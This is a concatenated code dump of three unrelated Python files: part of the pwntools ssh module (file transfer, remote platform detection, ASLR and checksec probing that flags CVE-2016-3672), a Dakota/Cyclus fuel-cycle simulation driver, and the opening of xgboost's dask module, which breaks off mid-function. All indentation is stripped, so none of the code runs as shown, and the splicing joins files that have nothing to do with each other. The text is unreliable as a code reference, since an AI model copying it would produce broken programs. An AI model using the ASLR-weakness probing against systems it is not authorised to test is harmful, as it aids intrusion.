p.success('Found %r in ssh cache' % remote)
else:
self._download_raw(remote, local, p)
if not self._verify_local_fingerprint(fingerprint):
p.failure('Could not download file %r' % remote)
return local
def download_data(self, remote):
"""Downloads a file from the remote server and returns it as a string.
Arguments:
remote(str): The remote filename to download.
Examples:
>>> with file('/tmp/bar','w+') as f:
... f.write('Hello, world')
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass',
... cache=False)
>>> s.download_data('/tmp/bar')
'Hello, world'
>>> s._sftp = None
>>> s._tried_sftp = True
>>> s.download_data('/tmp/bar')
'Hello, world'
"""
with self.progress('Downloading %r' % remote) as p:
with open(self._download_to_cache(remote, p)) as fd:
return fd.read()
def download_file(self, remote, local = None):
"""Downloads a file from the remote server.
The file is cached in /tmp/pwntools-ssh-cache using a hash of the file, so
calling the function twice has little overhead.
Arguments:
remote(str): The remote filename to download
local(str): The local filename to save it to. Default is to infer it from the remote filename.
"""
if not local:
local = os.path.basename(os.path.normpath(remote))
if os.path.basename(remote) == remote:
remote = os.path.join(self.cwd, remote)
with self.progress('Downloading %r to %r' % (remote, local)) as p:
local_tmp = self._download_to_cache(remote, p)
# Check to see if an identical copy of the file already exists
if not os.path.exists(local) or hashes.sha256filehex(local_tmp) != hashes.sha256filehex(local):
shutil.copy2(local_tmp, local)
def download_dir(self, remote=None, local=None):
"""Recursively downloads a directory from the remote server
Arguments:
local: Local directory
remote: Remote directory
"""
remote = remote or self.cwd
if self.sftp:
remote = str(self.sftp.normalize(remote))
else:
with context.local(log_level='error'):
remote = self.system('readlink -f ' + sh_string(remote))
dirname = os.path.dirname(remote)
basename = os.path.basename(remote)
local = local or '.'
local = os.path.expanduser(local)
self.info("Downloading %r to %r" % (basename,local))
with context.local(log_level='error'):
remote_tar = self.mktemp()
cmd = 'tar -C %s -czf %s %s' % \
(sh_string(dirname),
sh_string(remote_tar),
sh_string(basename))
tar = self.system(cmd)
if 0 != tar.wait():
self.error("Could not create remote tar")
local_tar = tempfile.NamedTemporaryFile(suffix='.tar.gz')
self.download_file(remote_tar, local_tar.name)
tar = tarfile.open(local_tar.name)
tar.extractall(local)
def upload_data(self, data, remote):
"""Uploads some data into a file on the remote server.
Arguments:
data(str): The data to upload.
remote(str): The filename to upload it to.
Example:
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> s.upload_data('Hello, world', '/tmp/upload_foo')
>>> print file('/tmp/upload_foo').read()
Hello, world
>>> s._sftp = False
>>> s._tried_sftp = True
>>> s.upload_data('Hello, world', '/tmp/upload_bar')
>>> print file('/tmp/upload_bar').read()
Hello, world
"""
# If a relative path was provided, prepend the cwd
if os.path.normpath(remote) == os.path.basename(remote):
remote = os.path.join(self.cwd, remote)
if self.sftp:
with tempfile.NamedTemporaryFile() as f:
f.write(data)
f.flush()
self.sftp.put(f.name, remote)
return
with context.local(log_level = 'ERROR'):
cmd = 'cat > ' + sh_string(remote)
s = self.run(cmd, tty=False)
s.send(data)
s.shutdown('send')
data = s.recvall()
result = s.wait()
if result != 0:
self.error("Could not upload file %r (%r)\n%s" % (remote, result, data))
def upload_file(self, filename, remote = None):
"""Uploads a file to the remote server. Returns the remote filename.
Arguments:
filename(str): The local filename to download
remote(str): The remote filename to save it to. Default is to infer it from the local filename."""
if remote == None:
remote = os.path.normpath(filename)
remote = os.path.basename(remote)
remote = os.path.join(self.cwd, remote)
with open(filename) as fd:
data = fd.read()
self.info("Uploading %r to %r" % (filename,remote))
self.upload_data(data, remote)
return remote
def upload_dir(self, local, remote=None):
"""Recursively uploads a directory onto the remote server
Arguments:
local: Local directory
remote: Remote directory
"""
remote = remote or self.cwd
local = os.path.expanduser(local)
dirname = os.path.dirname(local)
basename = os.path.basename(local)
if not os.path.isdir(local):
self.error("%r is not a directory" % local)
msg = "Uploading %r to %r" % (basename,remote)
with self.waitfor(msg) as w:
# Generate a tarfile with everything inside of it
local_tar = tempfile.mktemp()
with tarfile.open(local_tar, 'w:gz') as tar:
tar.add(local, basename)
# Upload and extract it
with context.local(log_level='error'):
remote_tar = self.mktemp('--suffix=.tar.gz')
self.upload_file(local_tar, remote_tar)
untar = self.run('cd %s && tar -xzf %s' % (remote, remote_tar))
message = untar.recvrepeat(2)
if untar.wait() != 0:
self.error("Could not untar %r on the remote end\n%s" % (remote_tar, message))
def upload(self, file_or_directory, remote=None):
"""upload(file_or_directory, remote=None)
Upload a file or directory to the remote host.
Arguments:
file_or_directory(str): Path to the file or directory to download.
remote(str): Local path to store the data.
By default, uses the working directory.
"""
if isinstance(file_or_directory, str):
file_or_directory = os.path.expanduser(file_or_directory)
file_or_directory = os.path.expandvars(file_or_directory)
if os.path.isfile(file_or_directory):
return self.upload_file(file_or_directory, remote)
if os.path.isdir(file_or_directory):
return self.upload_dir(file_or_directory, remote)
self.error('%r does not exist' % file_or_directory)
def download(self, file_or_directory, local=None):
"""download(file_or_directory, local=None)
Download a file or directory from the remote host.
Arguments:
file_or_directory(str): Path to the file or directory to download.
local(str): Local path to store the data.
By default, uses the current directory.
"""
if not self.sftp:
self.error("Cannot determine remote file type without SFTP")
if 0 == self.system('test -d ' + sh_string(file_or_directory)).wait():
self.download_dir(file_or_directory, local)
else:
self.download_file(file_or_directory, local)
put = upload
get = download
def unlink(self, file):
"""unlink(file)
Delete the file on the remote host
Arguments:
file(str): Path to the file
"""
if not self.sftp:
self.error("unlink() is only supported if SFTP is supported")
return self.sftp.unlink(file)
def libs(self, remote, directory = None):
"""Downloads the libraries referred to by a file.
This is done by running ldd on the remote server, parsing the output
and downloading the relevant files.
The directory argument specified where to download the files. This defaults
to './$HOSTNAME' where $HOSTNAME is the hostname of the remote server."""
libs = self._libs_remote(remote)
remote = self.readlink('-f',remote).strip()
libs[remote] = 0
if directory == None:
directory = self.host
directory = os.path.realpath(directory)
res = {}
seen = set()
for lib, addr in libs.items():
local = os.path.realpath(os.path.join(directory, '.' + os.path.sep + lib))
if not local.startswith(directory):
self.warning('This seems fishy: %r' % lib)
continue
misc.mkdir_p(os.path.dirname(local))
if lib not in seen:
self.download_file(lib, local)
seen.add(lib)
res[local] = addr
return res
def interactive(self, shell=None):
"""Create an interactive session.
This is a simple wrapper for creating a new
:class:`pwnlib.tubes.ssh.ssh_channel` object and calling
:meth:`pwnlib.tubes.ssh.ssh_channel.interactive` on it."""
s = self.shell(shell)
if self.cwd != '.':
cmd = 'cd ' + sh_string(self.cwd)
s.sendline(cmd)
s.interactive()
s.close()
def set_working_directory(self, wd = None, symlink = False):
"""Sets the working directory in which future commands will
be run (via ssh.run) and to which files will be uploaded/downloaded
from if no path is provided
Note:
This uses ``mktemp -d`` under the covers, sets permissions
on the directory to ``0700``. This means that setuid binaries
will **not** be able to access files created in this directory.
In order to work around this, we also ``chmod +x`` the directory.
Arguments:
wd(string): Working directory. Default is to auto-generate a directory
based on the result of running 'mktemp -d' on the remote machine.
symlink(bool,str): Create symlinks in the new directory.
The default value, ``False``, implies that no symlinks should be
created.
A string value is treated as a path that should be symlinked.
It is passed directly to the shell on the remote end for expansion,
so wildcards work.
Any other value is treated as a boolean, where ``True`` indicates
that all files in the "old" working directory should be symlinked.
Examples:
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> cwd = s.set_working_directory()
>>> s.ls()
''
>>> s.pwd() == cwd
True
>>> s = ssh(host='example.pwnme',
... user='travis',
... password='demopass')
>>> homedir = s.pwd()
>>> _=s.touch('foo')
>>> _=s.set_working_directory()
>>> assert s.ls() == ''
>>> _=s.set_working_directory(homedir)
>>> assert 'foo' in s.ls().split()
>>> _=s.set_working_directory(symlink=True)
>>> assert 'foo' in s.ls().split()
>>> assert homedir != s.pwd()
>>> symlink=os.path.join(homedir,'*')
>>> _=s.set_working_directory(symlink=symlink)
>>> assert 'foo' in s.ls().split()
>>> assert homedir != s.pwd()
"""
status = 0
if symlink and not isinstance(symlink, str):
symlink = os.path.join(self.pwd(), '*')
if not wd:
wd, status = self.run_to_end('x=$(mktemp -d) && cd $x && chmod +x . && echo $PWD', wd='.')
wd = wd.strip()
if status:
self.error("Could not generate a temporary directory (%i)\n%s" % (status, wd))
else:
cmd = 'ls ' + sh_string(wd)
_, status = self.run_to_end(cmd, wd = '.')
if status:
self.error("%r does not appear to exist" % wd)
self.info("Working directory: %r" % wd)
self.cwd = wd
if symlink:
self.ln('-s', symlink, '.')
return self.cwd
def write(self, path, data):
"""Wrapper around upload_data to match :func:`pwnlib.util.misc.write`"""
return self.upload_data(data, path)
def read(self, path):
"""Wrapper around download_data to match :func:`pwnlib.util.misc.read`"""
return self.download_data(path)
def _init_remote_platform_info(self):
"""Fills _platform_info, e.g.:
::
{'distro': 'Ubuntu\n',
'distro_ver': '14.04\n',
'machine': 'x86_64',
'node': 'pwnable.kr',
'processor': 'x86_64',
'release': '3.11.0-12-generic',
'system': 'linux',
'version': '#19-ubuntu smp wed oct 9 16:20:46 utc 2013'}
"""
if self._platform_info:
return
def preexec():
import platform
print('\n'.join(platform.uname()))
with context.quiet:
with self.process('true', preexec_fn=preexec) as io:
self._platform_info = {
'system': io.recvline().lower().strip(),
'node': io.recvline().lower().strip(),
'release': io.recvline().lower().strip(),
'version': io.recvline().lower().strip(),
'machine': io.recvline().lower().strip(),
'processor': io.recvline().lower().strip(),
'distro': 'Unknown',
'distro_ver': ''
}
try:
if not self.which('lsb_release'):
return
with self.process(['lsb_release', '-irs']) as io:
self._platform_info.update({
'distro': io.recvline().strip(),
'distro_ver': io.recvline().strip()
})
except Exception:
pass
@property
def os(self):
""":class:`str`: Operating System of the remote machine."""
try:
self._init_remote_platform_info()
with context.local(os=self._platform_info['system']):
return context.os
except Exception:
return "Unknown"
@property
def arch(self):
""":class:`str`: CPU Architecture of the remote machine."""
try:
self._init_remote_platform_info()
with context.local(arch=self._platform_info['machine']):
return context.arch
except Exception:
return "Unknown"
@property
def bits(self):
""":class:`str`: Pointer size of the remote machine."""
try:
with context.local():
context.clear()
context.arch = self.arch
return context.bits
except Exception:
return context.bits
@property
def version(self):
""":class:`tuple`: Kernel version of the remote machine."""
try:
self._init_remote_platform_info()
vers = self._platform_info['release']
# 3.11.0-12-generic
expr = r'([0-9]+\.?)+'
vers = re.search(expr, vers).group()
return tuple(map(int, vers.split('.')))
except Exception:
return (0,0,0)
@property
def distro(self):
""":class:`tuple`: Linux distribution name and release."""
try:
self._init_remote_platform_info()
return (self._platform_info['distro'], self._platform_info['distro_ver'])
except Exception:
return ("Unknown", "Unknown")
@property
def aslr(self):
""":class:`bool`: Whether ASLR is enabled on the system.
Example:
>>> s = ssh("travis", "example.pwnme")
>>> s.aslr
True
"""
if self._aslr is None:
if self.os != 'linux':
self.warn_once("Only Linux is supported for ASLR checks.")
self._aslr = False
else:
with context.quiet:
rvs = self.read('/proc/sys/kernel/randomize_va_space')
self._aslr = not rvs.startswith('0')
return self._aslr
@property
def aslr_ulimit(self):
""":class:`bool`: Whether the entropy of 32-bit processes can be reduced with ulimit."""
import pwnlib.elf.elf
import pwnlib.shellcraft
if self._aslr_ulimit is not None:
return self._aslr_ulimit
# This test must run a 32-bit binary, fix the architecture
arch = {
'amd64': 'i386',
'aarch64': 'arm'
}.get(self.arch, self.arch)
with context.local(arch=arch, bits=32, os=self.os, aslr=True):
with context.quiet:
try:
sc = pwnlib.shellcraft.cat('/proc/self/maps') \
+ pwnlib.shellcraft.exit(0)
elf = pwnlib.elf.elf.ELF.from_assembly(sc, shared=True)
except Exception:
self.warn_once("Can't determine ulimit ASLR status")
self._aslr_ulimit = False
return self._aslr_ulimit
def preexec():
import resource
try:
resource.setrlimit(resource.RLIMIT_STACK, (-1, -1))
except Exception:
pass
# Move to a new temporary directory
cwd = self.cwd
tmp = self.set_working_directory()
try:
self.upload(elf.path, './aslr-test')
except IOError:
self.warn_once("Couldn't check ASLR ulimit trick")
self._aslr_ulimit = False
return False
self.process(['chmod', '+x', './aslr-test']).wait()
maps = self.process(['./aslr-test'], preexec_fn=preexec).recvall()
# Move back to the old directory
self.cwd = cwd
# Clean up the files
self.process(['rm', '-rf', tmp]).wait()
# Check for 555555000 (1/3 of the address space for PAE)
# and for 40000000 (1/3 of the address space with 3BG barrier)
self._aslr_ulimit = bool('55555000' in maps or '40000000' in maps)
return self._aslr_ulimit
def _checksec_cache(self, value=None):
path = self._get_cachefile('%s-%s' % (self.host, self.port))
if value is not None:
with open(path, 'w+') as f:
f.write(value)
else:
with open(path, 'r+') as f:
return f.read()
def checksec(self, banner=True):
"""checksec()
Prints a helpful message about the remote system.
Arguments:
banner(bool): Whether to print the path to the ELF binary.
"""
cached = self._checksec_cache()
if cached:
return cached
red = text.red
green = text.green
yellow = text.yellow
res = [
"%s@%s:" % (self.user, self.host),
"Distro".ljust(10) + ' '.join(self.distro),
"OS:".ljust(10) + self.os,
"Arch:".ljust(10) + self.arch,
"Version:".ljust(10) + '.'.join(map(str, self.version)),
"ASLR:".ljust(10) + {
True: green("Enabled"),
False: red("Disabled")
}[self.aslr]
]
if self.aslr_ulimit:
res += [ "Note:".ljust(10) + red("Susceptible to ASLR ulimit trick (CVE-2016-3672)")]
cached = '\n'.join(res)
self._checksec_cache(cached)
return cached
|
sobol.py | # Dakota Python Driving Script
# necessary python modules
import dakota.interfacing as di
import subprocess
import sys
import os
import multiprocessing
sys.path.append('../../scripts')
import input as inp
import output as oup
import external_cym
cycdir = '../../cyclus-files/sobol/'
# ----------------------------
# Parse Dakota parameters file
# ----------------------------
params, results = di.read_parameters_file()
# -------------------------------
# Convert and send to Cyclus
# -------------------------------
# Edit Cyclus input file
cyclus_template = cycdir + 'sobol.xml.in'
scenario_name = 'fs' + str(int(params['fs'])) + 'ty' + \
str(int(params['ty'])) + 'ct' + str(int(params['ct']))
variable_dict = {'fleet_share_mox': int((params['fs'])),
'fleet_share_fr': int((100 - params['fs'])),
'transition_year': int((params['ty'])),
'cooling_time': int((params['ct'] * 12))}
output_xml = cycdir + 'sobol.xml'
inp.render_input(cyclus_template, variable_dict, output_xml)
# Run Cyclus with edited input file
output_sqlite = cycdir + scenario_name + '.sqlite'
os.system('cyclus -i ' + output_xml + ' -o ' + output_sqlite)
# ----------------------------
# Return the results to Dakota
# ----------------------------
f = open('output_name.txt', 'w+')
f.write(output_sqlite)
f.close()
p = multiprocessing.Process(target=external_cym.hlw)
p.start()
fresh = False
while fresh is False:
if os.path.exists('hlw.txt'):
if os.stat('hlw.txt').st_size > 0:
fresh = True
p.terminate()
f = open('hlw.txt', 'r')
if f.mode == 'r':
hlw = f.read()
f.close()
q = multiprocessing.Process(target=external_cym.dep_u)
q.start()
fresh = False
while fresh is False:
if os.path.exists('depu.txt'):
if os.stat('depu.txt').st_size > 0:
fresh = True
p.terminate()
f = open('depu.txt', 'r')
if f.mode == 'r':
depleted_u = f.read()
f.close()
p = multiprocessing.Process(target=external_cym.idlecapp)
p.start()
fresh = False
while fresh is False:
if os.path.exists('idlecap.txt'):
if os.stat('idlecap.txt').st_size > 0:
fresh = True
p.terminate()
f = open('idlecap.txt', 'r')
if f.mode == 'r':
idlecap = f.read()
f.close()
for i, r in enumerate(results.responses()):
if r.asv.function:
if i == 0:
r.function = hlw
if i == 1:
r.function = depleted_u
if i == 2:
r.function = idlecap
if os.path.exists('depu.txt'):
os.remove('depu.txt')
if os.path.exists('hlw.txt'):
os.remove('hlw.txt')
if os.path.exists('idlecap.txt'):
os.remove('idlecap.txt')
results.write()
|
dask.py | # pylint: disable=too-many-arguments, too-many-locals, no-name-in-module
# pylint: disable=missing-class-docstring, invalid-name
# pylint: disable=too-many-lines, fixme
# pylint: disable=too-few-public-methods
# pylint: disable=import-error
"""
Dask extensions for distributed training
----------------------------------------
See :doc:`Distributed XGBoost with Dask </tutorials/dask>` for simple tutorial. Also
:doc:`/python/dask-examples/index` for some examples.
There are two sets of APIs in this module, one is the functional API including
``train`` and ``predict`` methods. Another is stateful Scikit-Learner wrapper
inherited from single-node Scikit-Learn interface.
The implementation is heavily influenced by dask_xgboost:
https://github.com/dask/dask-xgboost
Optional dask configuration
===========================
- **xgboost.scheduler_address**: Specify the scheduler address, see :ref:`tracker-ip`.
.. versionadded:: 1.6.0
.. code-block:: python
dask.config.set({"xgboost.scheduler_address": "192.0.0.100"})
# We can also specify the port.
dask.config.set({"xgboost.scheduler_address": "192.0.0.100:12345"})
"""
import platform
import logging
import collections
import socket
from contextlib import contextmanager
from collections import defaultdict
from threading import Thread
from functools import partial, update_wrapper
from typing import TYPE_CHECKING, List, Tuple, Callable, Optional, Any, Union, Dict, Set
from typing import Sequence
from typing import Awaitable, Generator, TypeVar
import numpy
from . import rabit, config
from .callback import TrainingCallback
from .compat import LazyLoader
from .compat import scipy_sparse
from .compat import PANDAS_INSTALLED, DataFrame, Series, pandas_concat
from .compat import lazy_isinstance
from ._typing import FeatureNames, FeatureTypes
from .core import DMatrix, DeviceQuantileDMatrix, Booster, _expect, DataIter
from .core import Objective, Metric
from .core import _deprecate_positional_args, _has_categorical
from .training import train as worker_train
from .tracker import RabitTracker, get_host_ip
from .sklearn import XGBModel, XGBClassifier, XGBRegressorBase, XGBClassifierBase
from .sklearn import _wrap_evaluation_matrices, _objective_decorator, _check_rf_callback
from .sklearn import XGBRankerMixIn
from .sklearn import xgboost_model_doc
from .sklearn import _cls_predict_proba
from .sklearn import XGBRanker
if TYPE_CHECKING:
from dask import dataframe as dd
from dask import array as da
from dask import delayed as ddelayed
import dask
import distributed
else:
dd = LazyLoader("dd", globals(), "dask.dataframe")
da = LazyLoader("da", globals(), "dask.array")
ddelayed = LazyLoader("Delayed", globals(), "dask.delayed")
dask = LazyLoader("dask", globals(), "dask")
distributed = LazyLoader("distributed", globals(), "dask.distributed")
_DaskCollection = Union["da.Array", "dd.DataFrame", "dd.Series"]
try:
from mypy_extensions import TypedDict
TrainReturnT = TypedDict(
"TrainReturnT",
{
"booster": Booster,
"history": Dict,
},
)
except ImportError:
TrainReturnT = Dict[str, Any] # type:ignore
__all__ = [
"RabitContext",
"DaskDMatrix",
"DaskDeviceQuantileDMatrix",
"DaskXGBRegressor",
"DaskXGBClassifier",
"DaskXGBRanker",
"DaskXGBRFRegressor",
"DaskXGBRFClassifier",
"train",
"predict",
"inplace_predict",
]
# TODOs:
# - CV
#
# Note for developers:
#
# As of writing asyncio is still a new feature of Python and in depth documentation is
# rare. Best examples of various asyncio tricks are in dask (luckily). Classes like
# Client, Worker are awaitable. Some general rules for the implementation here:
#
# - Synchronous world is different from asynchronous one, and they don't mix well.
# - Write everything with async, then use distributed Client sync function to do the
# switch.
# - Use Any for type hint when the return value can be union of Awaitable and plain
# value. This is caused by Client.sync can return both types depending on context.
# Right now there's no good way to silent:
#
# await train(...)
#
# if train returns an Union type.
LOGGER = logging.getLogger("[xgboost.dask]")
def _multi_lock() -> Any:
"""MultiLock is only available on latest distributed. See:
https://github.com/dask/distributed/pull/4503
"""
try:
from distributed import MultiLock
except ImportError:
class MultiLock: # type:ignore
def __init__(self, *args: Any, **kwargs: Any) -> None:
pass
def __enter__(self) -> "MultiLock":
return self
def __exit__(self, *args: Any, **kwargs: Any) -> None:
return
async def __aenter__(self) -> "MultiLock":
return self
async def __aexit__(self, *args: Any, **kwargs: Any) -> None:
return
return MultiLock
def _try_start_tracker(
n_workers: int,
addrs: List[Union[Optional[str], Optional[Tuple[str, int]]]],
) -> Dict[str, Union[int, str]]:
env: Dict[str, Union[int, str]] = {"DMLC_NUM_WORKER": n_workers}
try:
if isinstance(addrs[0], tuple):
host_ip = addrs[0][0]
port = addrs[0][1]
rabit_context = RabitTracker(
host_ip=get_host_ip(host_ip),
n_workers=n_workers,
port=port,
use_logger=False,
)
else:
assert isinstance(addrs[0], str) or addrs[0] is None
rabit_context = RabitTracker(
host_ip=get_host_ip(addrs[0]), n_workers=n_workers, use_logger=False
)
env.update(rabit_context.worker_envs())
rabit_context.start(n_workers)
thread = Thread(target=rabit_context.join)
thread.daemon = True
thread.start()
except socket.error as e:
if len(addrs) < 2 or e.errno != 99:
raise
LOGGER.warning(
"Failed to bind address '%s', trying to use '%s' instead.",
str(addrs[0]),
str(addrs[1]),
)
env = _try_start_tracker(n_workers, addrs[1:])
return env
def _start_tracker(
n_workers: int,
addr_from_dask: Optional[str],
addr_from_user: Optional[Tuple[str, int]],
) -> Dict[str, Union[int, str]]:
"""Start Rabit tracker, recurse to try different addresses."""
env = _try_start_tracker(n_workers, [addr_from_user, addr_from_dask])
return env
def _assert_dask_support() -> None:
try:
import dask # pylint: disable=W0621,W0611
except ImportError as e:
raise ImportError(
"Dask needs to be installed in order to use this module"
) from e
if platform.system() == "Windows":
msg = "Windows is not officially supported for dask/xgboost,"
msg += " contribution are welcomed."
LOGGER.warning(msg)
class RabitContext(rabit.RabitContext):
"""A context controlling rabit initialization and finalization."""
def __init__(self, args: List[bytes]) -> None:
super().__init__(args)
worker = distributed.get_worker()
self.args.append(
("DMLC_TASK_ID=[xgboost.dask]:" + str(worker.address)).encode()
)
def concat(value: Any) -> Any: # pylint: disable=too-many-return-statements
"""To be replaced with dask builtin."""
if isinstance(value[0], numpy.ndarray):
return numpy.concatenate(value, axis=0)
if scipy_sparse and isinstance(value[0], scipy_sparse.csr_matrix):
return scipy_sparse.vstack(value, format="csr")
if scipy_sparse and isinstance(value[0], scipy_sparse.csc_matrix):
return scipy_sparse.vstack(value, format="csc")
if scipy_sparse and isinstance(value[0], scipy_sparse.spmatrix):
# other sparse format will be converted to CSR.
return scipy_sparse.vstack(value, format="csr")
if PANDAS_INSTALLED and isinstance(value[0], (DataFrame, Series)):
return pandas_concat(value, axis=0)
if lazy_isinstance(value[0], "cudf.core.dataframe", "DataFrame") or lazy_isinstance(
value[0], "cudf.core.series", "Series"
):
from cudf import concat as CUDF_concat # pylint: disable=import-error
return CUDF_concat(value, axis=0)
if lazy_isinstance(value[0], "cupy._core.core", "ndarray"):
import cupy
# pylint: disable=c-extension-no-member,no-member
d = cupy.cuda.runtime.getDevice()
for v in value:
d_v = v.device.id
assert d_v == d, "Concatenating arrays on different devices."
return cupy.concatenate(value, axis=0)
return dd.multi.concat(list(value), axis=0)
def _xgb_get_client(client: Optional["distributed.Client"]) -> "distributed.Client":
"""Simple wrapper around testing None."""
if not isinstance(client, (type(distributed.get_client()), type(None))):
raise TypeError(
_expect([type(distributed.get_client()), type(None)], type(client))
)
ret = distributed.get_client() if client is None else client
return ret
# From the implementation point of view, DaskDMatrix complicates a lots of
# things. A large portion of the code base is about syncing and extracting
# stuffs from DaskDMatrix. But having an independent data structure gives us a
# chance to perform some specialized optimizations, like building histogram
# index directly.
class DaskDMatrix:
# pylint: disable=missing-docstring, too-many-instance-attributes
"""DMatrix holding on references to Dask DataFrame or Dask Array. Constructing a
`DaskDMatrix` forces all lazy computation to be carried out. Wait for the input data
explicitly if you want to see actual computation of constructing `DaskDMatrix`.
See doc for :py:obj:`xgboost.DMatrix` constructor for other parameters. DaskDMatrix
accepts only dask collection.
.. note::
DaskDMatrix does not repartition or move data between workers. It's
the caller's responsibility to balance the data.
.. versionadded:: 1.0.0
Parameters
----------
client :
Specify the dask client used for training. Use default client returned from dask
if it's set to None.
"""
@_deprecate_positional_args
def __init__(
self,
client: "distributed.Client",
data: _DaskCollection,
label: Optional[_DaskCollection] = None,
*,
weight: Optional[_DaskCollection] = None,
base_margin: Optional[_DaskCollection] = None,
missing: float = None,
silent: bool = False, # pylint: disable=unused-argument
feature_names: Optional[FeatureNames] = None,
feature_types: FeatureTypes = None,
group: Optional[_DaskCollection] = None,
qid: Optional[_DaskCollection] = None,
label_lower_bound: Optional[_DaskCollection] = None,
label_upper_bound: Optional[_DaskCollection] = None,
feature_weights: Optional[_DaskCollection] = None,
enable_categorical: bool = False,
) -> None:
_assert_dask_support()
client = _xgb_get_client(client)
self.feature_names = feature_names
self.feature_types = feature_types
self.missing = missing
self.enable_categorical = enable_categorical
if qid is not None and weight is not None:
raise NotImplementedError("per-group weight is not implemented.")
if group is not None:
raise NotImplementedError(
"group structure is not implemented, use qid instead."
)
if len(data.shape) != 2:
raise ValueError(f"Expecting 2 dimensional input, got: {data.shape}")
if not isinstance(data, (dd.DataFrame, da.Array)):
raise TypeError(_expect((dd.DataFrame, da.Array), type(data)))
if not isinstance(label, (dd.DataFrame, da.Array, dd.Series, type(None))):
raise TypeError(_expect((dd.DataFrame, da.Array, dd.Series), type(label)))
self._n_cols = data.shape[1]
assert isinstance(self._n_cols, int)
self.worker_map: Dict[str, "distributed.Future"] = defaultdict(list)
self.is_quantile: bool = False
self._init = client.sync(
self._map_local_data,
client,
data,
label=label,
weights=weight,
base_margin=base_margin,
qid=qid,
feature_weights=feature_weights,
label_lower_bound=label_lower_bound,
label_upper_bound=label_upper_bound,
)
def __await__(self) -> Generator:
return self._init.__await__()
async def _map_local_data(
self,
client: "distributed.Client",
data: _DaskCollection,
label: Optional[_DaskCollection] = None,
weights: Optional[_DaskCollection] = None,
base_margin: Optional[_DaskCollection] = None,
qid: Optional[_DaskCollection] = None,
feature_weights: Optional[_DaskCollection] = None,
label_lower_bound: Optional[_DaskCollection] = None,
label_upper_bound: Optional[_DaskCollection] = None,
) -> "DaskDMatrix":
"""Obtain references to local data."""
def inconsistent(
left: List[Any], left_name: str, right: List[Any], right_name: str
) -> str:
msg = (
f"Partitions between {left_name} and {right_name} are not "
f"consistent: {len(left)} != {len(right)}. "
f"Please try to repartition/rechunk your data."
)
return msg
def check_columns(parts: numpy.ndarray) -> None:
# x is required to be 2 dim in __init__
assert parts.ndim == 1 or parts.shape[1], (
"Data should be"
" partitioned by row. To avoid this specify the number"
" of columns for your dask Array explicitly. e.g."
" chunks=(partition_size, X.shape[1])"
)
def to_delayed(d: _DaskCollection) -> List[ddelayed.Delayed]:
"""Breaking data into partitions, a trick borrowed from dask_xgboost. `to_delayed`
downgrades high-level objects into numpy or pandas equivalents .
"""
d = client.persist(d)
delayed_obj = d.to_delayed()
if isinstance(delayed_obj, numpy.ndarray):
# da.Array returns an array to delayed objects
check_columns(delayed_obj)
delayed_list: List[ddelayed.Delayed] = delayed_obj.flatten().tolist()
else:
# dd.DataFrame
delayed_list = delayed_obj
return delayed_list
OpDelayed = TypeVar("OpDelayed", _DaskCollection, None)
def flatten_meta(meta: OpDelayed) -> OpDelayed:
if meta is not None:
meta_parts: List[ddelayed.Delayed] = to_delayed(meta)
return meta_parts
return None
X_parts = to_delayed(data)
y_parts = flatten_meta(label)
w_parts = flatten_meta(weights)
margin_parts = flatten_meta(base_margin)
qid_parts = flatten_meta(qid)
ll_parts = flatten_meta(label_lower_bound)
lu_parts = flatten_meta(label_upper_bound)
parts: Dict[str, List[ddelayed.Delayed]] = {"data": X_parts}
def append_meta(m_parts: Optional[List[ddelayed.Delayed]], name: str) -> None:
if m_parts is not None:
assert len(X_parts) == len(m_parts), inconsistent(
X_parts, "X", m_parts, name
)
parts[name] = m_parts
append_meta(y_parts, "label")
append_meta(w_parts, "weight")
append_meta(margin_parts, "base_margin")
append_meta(qid_parts, "qid")
append_meta(ll_parts, "label_lower_bound")
append_meta(lu_parts, "label_upper_bound")
# At this point, `parts` looks like:
# [(x0, x1, ..), (y0, y1, ..), ..] in delayed form
# turn into list of dictionaries.
packed_parts: List[Dict[str, ddelayed.Delayed]] = []
for i in range(len(X_parts)):
part_dict: Dict[str, ddelayed.Delayed] = {}
for key, value in parts.items():
part_dict[key] = value[i]
packed_parts.append(part_dict)
# delay the zipped result
# pylint: disable=no-member
delayed_parts: List[ddelayed.Delayed] = list(map(dask.delayed, packed_parts))
# At this point, the mental model should look like:
# [(x0, y0, ..), (x1, y1, ..), ..] in delayed form
# convert delayed objects into futures and make sure they are realized
fut_parts: List[distributed.Future] = client.compute(delayed_parts)
await distributed.wait(fut_parts) # async wait for parts to be computed
# maybe we can call dask.align_partitions here to ease the partition alignment?
for part in fut_parts:
# Each part is [x0, y0, w0, ...] in future form.
assert part.status == "finished", part.status
# Preserving the partition order for prediction.
self.partition_order = {}
for i, part in enumerate(fut_parts):
self.partition_order[part.key] = i
key_to_partition = {part.key: part for part in fut_parts}
who_has: Dict[str, Tuple[str, ...]] = await client.scheduler.who_has(
keys=[part.key for part in fut_parts]
)
worker_map: Dict[str, List[distributed.Future]] = defaultdict(list)
for key, workers in who_has.items():
worker_map[next(iter(workers))].append(key_to_partition[key])
self.worker_map = worker_map
if feature_weights is None:
self.feature_weights = None
else:
self.feature_weights = await client.compute(feature_weights).result()
return self
def _create_fn_args(self, worker_addr: str) -> Dict[str, Any]:
"""Create a dictionary of objects that can be pickled for function
arguments.
"""
return {
"feature_names": self.feature_names,
"feature_types": self.feature_types,
"feature_weights": self.feature_weights,
"missing": self.missing,
"enable_categorical": self.enable_categorical,
"parts": self.worker_map.get(worker_addr, None),
"is_quantile": self.is_quantile,
}
def num_col(self) -> int:
return self._n_cols
_MapRetT = TypeVar("_MapRetT")
async def map_worker_partitions(
client: Optional["distributed.Client"],
func: Callable[..., _MapRetT],
*refs: Any,
workers: List[str],
) -> List[_MapRetT]:
"""Map a function onto partitions of each worker."""
# Note for function purity:
# XGBoost is deterministic in most of the cases, which means train function is
# supposed to be idempotent. One known exception is gblinear with shotgun updater.
# We haven't been able to do a full verification so here we keep pure to be False.
client = _xgb_get_client(client)
futures = []
for addr in workers:
args = []
for ref in refs:
if isinstance(ref, DaskDMatrix):
# pylint: disable=protected-access
args.append(ref._create_fn_args(addr))
else:
args.append(ref)
fut = client.submit(
func, *args, pure=False, workers=[addr], allow_other_workers=False
)
futures.append(fut)
results = await client.gather(futures)
return results
_DataParts = List[Dict[str, Any]]
def _get_worker_parts(list_of_parts: _DataParts) -> Dict[str, List[Any]]:
assert isinstance(list_of_parts, list)
result: Dict[str, List[Any]] = {}
def append(i: int, name: str) -> None:
